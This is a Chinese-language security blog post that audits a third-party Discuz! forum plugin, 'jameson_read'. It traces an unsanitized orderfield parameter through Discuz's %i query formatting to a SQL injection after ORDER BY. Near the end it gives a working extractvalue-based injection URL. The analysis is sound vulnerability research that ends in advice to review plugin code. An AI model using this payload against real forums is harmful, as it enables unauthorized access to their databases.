Discuz介绍

Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz! X3.2正式版于2015年6月9日发布,首次引入应用中心的开发模式。2010年8月23日,康盛创想与腾讯达成收购协议,成为腾讯的全资子公司。(摘自百度百科)

Discuz代码非常灵活,支持自定义模板和插件,这让Discuz拥有了极强的diy性,再加上操作简单快捷,入门门槛低,使得这款开源软件在中国发展异常迅猛,成为市面上主流的论坛程序。

本文主要介绍Discuz插件相关的安全问题。

Discuz插件介绍

Discuz插件主要分为“程序链接”、“扩展项目”、“程序脚本”三类。

程序链接:允许插件在Discuz中某些特定导航位置加入菜单项,可自主指派菜单链接的 URL,也可以调用插件的一个模块,模块文件名指派为 source/plugin/插件目录/插件模块名.inc.php”。注意:由于引用外部程序,因此即便设置了模块的使用等级,您的程序仍需进行判断使用等级是否合法。

扩展项目:允许插件在更多的位置增加菜单项/管理模块,以及可在后台插件列表页增添一个远程链接(X3.1新增)。

程序脚本:允许插件设置一个包含页面嵌入脚本的模块,该模块可用于在普通电脑及移动端访问的页面显示。模块文件名指派为 “source/plugin/插件目录/插件模块名.class.php”,以及设置一个特殊主题脚本的模块,模块文件名指派为“source/plugin/插件目录/插件模块名.class.php”。

可以为每个模块设置不同的使用等级,例如设置为“超级版主”,则超级版主及更高的管理者可以使用此模块。

扩展项目模块可以在社区的特定位置扩展出新的功能,通常用于扩展新的设置项目。项目的脚本文件以 .inc.php 结尾(如 test.inc.php),模版为固定文件名,位于插件目录的 template/ 子目录中,文件名与脚本名同名(如 test.htm),扩展名为 .htm。添加相应的扩展项目模块时,需注明程序模块、菜单名称。例如我们添加个人面板项目,程序模块为 test,菜单名称是“测试”,当插件启用后,个人面板即家园的设置中会出现“测试”拓展项目。

在新插件内核中,通过 plugin.php 方式访问的插件可直接通过 plugin.php?id=xxx:yyy 方式调用而无需再在后台定义为普通脚本模块,只要 source/plugin/xxx/yyy.inc.php 文件存在即可。如果 xxx 和 yyy 同名,可直接通过 plugin.php?id=xxx 方式访问。

结合实例讲解Discuz插件安全

我们知道Discuz插件主要分为“程序链接”、“扩展项目”、“程序脚本”三类。

这里我们主要着重分析”程序脚本“,因为大部分跟数据库相关及逻辑相关的代码仅能在这种插件类型中存在,存在安全问题的可能性最大。

这里我们以一款名为”小说阅读器“的插件为例,深入了解Discuz插件机制及漏洞挖掘。

首先我们安装并启用该插件:

随后首页多出了一个”小说主页“的导航:

并且我们可以看到当前的url是plugin.php?id=xxx:xxx上面我们已经讲过这种格式的页面访问到的最终文件在插件目录下xxx.inc.php文件中。

那么这个“小说主页”的相关文件就在jameson_read目录下的readmain.inc.php中:

我们查找并打开相关文件:

跟我们预想的一样,这个文件果然是存在的。我们来输出写数字然后exit()确认一下我们的想法:

查看页面:

OK,现在我们继续来看这个插件的逻辑是怎么样的,是不是有相关的安全问题存在。

其中第7行:

/*排序字段*/
$orderfield = isset($_GET['orderfield']) && trim($_GET['orderfield'])?trim($_GET['orderfield']):'views';

很明显,从get请求中获取了orderfield赋值给$orderfield并且只使用trim()函数进行了处理,这里明显是有问题的。

继续往下跟进发现传进了fetch_by_get函数的第3个参数:

$categoryarray[$row['category_id']]['sub'][$subrow['category_id']]['book'] = C::t('#jameson_read#jamesonread_books')->fetch_by_get($subrow['category_id'],4,$orderfield,1);

继续跟进fetch_by_get函数,文件路径在:/Users/striker/www/discuz3/upload/source/plugin/jameson_read/table/table_jamesonread_books.php第120行:

function fetch_by_get($cate=0,$num,$orderfield){
    return DB::fetch_all("SELECT * FROM %t WHERE category_id=%d AND is_top=1 ORDER BY %i DESC,ordernum DESC LIMIT %d",array($this->_table,$cate,$orderfield,$num));
}

发现将$orderfield直接传入了Discuz自带的DB::fetch_all函数中执行,我们继续跟进fetch_all函数:

public static function fetch_all($sql, $arg = array(), $keyfield = '', $silent=false) {

    $data = array();
    $query = self::query($sql, $arg, $silent, false);
    while ($row = self::$db->fetch_array($query)) {
        if ($keyfield && isset($row[$keyfield])) {
            $data[$row[$keyfield]] = $row;
        } else {
            $data[] = $row;
        }
    }
    self::$db->free_result($query);
    return $data;
}

这个函数将sql语句又传入到self::query函数:

public static function query($sql, $arg = array(), $silent = false, $unbuffered = false) {
    if (!empty($arg)) {
        if (is_array($arg)) {
            $sql = self::format($sql, $arg);
        } elseif ($arg === 'SILENT') {
            $silent = true;

        } elseif ($arg === 'UNBUFFERED') {
            $unbuffered = true;
        }
    }
    self::checkquery($sql);

    $ret = self::$db->query($sql, $silent, $unbuffered);
    if (!$unbuffered && $ret) {
        $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));
        if ($cmd === 'SELECT') {

        } elseif ($cmd === 'UPDATE' || $cmd === 'DELETE') {
            $ret = self::$db->affected_rows();
        } elseif ($cmd === 'INSERT') {
            $ret = self::$db->insert_id();
        }
    }
    return $ret;
}

这个函数又调用了self::format()进行格式化语句:

public static function format($sql, $arg) {
    $count = substr_count($sql, '%');
    if (!$count) {
        return $sql;
    } elseif ($count > count($arg)) {
        throw new DbException('SQL string format error! This SQL need "' . $count . '" vars to replace into.', 0, $sql);
    }

    $len = strlen($sql);
    $i = $find = 0;
    $ret = '';
    while ($i <= $len && $find < $count) {
        if ($sql{$i} == '%') {
            $next = $sql{$i + 1};
            if ($next == 't') {
                $ret .= self::table($arg[$find]);
            } elseif ($next == 's') {
                $ret .= self::quote(is_array($arg[$find]) ? serialize($arg[$find]) : (string) $arg[$find]);
            } elseif ($next == 'f') {
                $ret .= sprintf('%F', $arg[$find]);
            } elseif ($next == 'd') {
                $ret .= dintval($arg[$find]);
            } elseif ($next == 'i') {
                $ret .= $arg[$find];
            } elseif ($next == 'n') {
                if (!empty($arg[$find])) {
                    $ret .= is_array($arg[$find]) ? implode(',', self::quote($arg[$find])) : self::quote($arg[$find]);
                } else {
                    $ret .= '0';
                }
            } else {
                $ret .= self::quote($arg[$find]);
            }
            $i++;
            $find++;
        } else {
            $ret .= $sql{$i};
        }
        $i++;
    }
    if ($i < $len) {
        $ret .= substr($sql, $i);
    }
    return $ret;
}

这个函数首先判断了%出现的次数,如果没有出现则扔出错误。

然后写两个一个while循环来拼接sql语句,查找百分号后面的字母,我们这里的$orderfield传入时是%i所以我们只关注这个分支:

elseif ($next == 'i') {
    $ret .= $arg[$find];

如果百分号后面是i的话,就直接拼接带入进去,没有进行其他的处理。

最终format函数返回了拼接后的sql语句。

为了验证我们的想法,我们来在返回以后输出一下返回的sql语句,我们提交orderfield为111select

最终SQL报错,可以看到我们的数据是带入到SQL查询中了。

我们可控的注入点是在ORDER BY后面,

而且Discuz现在是有一个全局的waf,过滤了一些字符,导致很难进行注入。

后面有机会再发一篇DiscuzWAF相关的文章吧。

最终使用如下payload成功注入:

http://discuz3.localhost/plugin.php?id=jameson_read:readmain&orderfield=extractvalue(1,%20concat(0x3a,%20version()))%20

这里感谢@mLT 以及@雨了个雨 师傅不吝赐教。

结语

Discuz是当下比较火的一个论坛社区程序,很多的网站,尤其是某些建站公司为了完成目标,肆意使用各种插件,甚至是没有经过官方审核的第三方插件(当然,经过审核的也会出现安全问题),导致原本很安全的Discuz变得脆弱。

使用第三方的插件,还是找时间多review code比较好呀。

源链接

Hacking more

...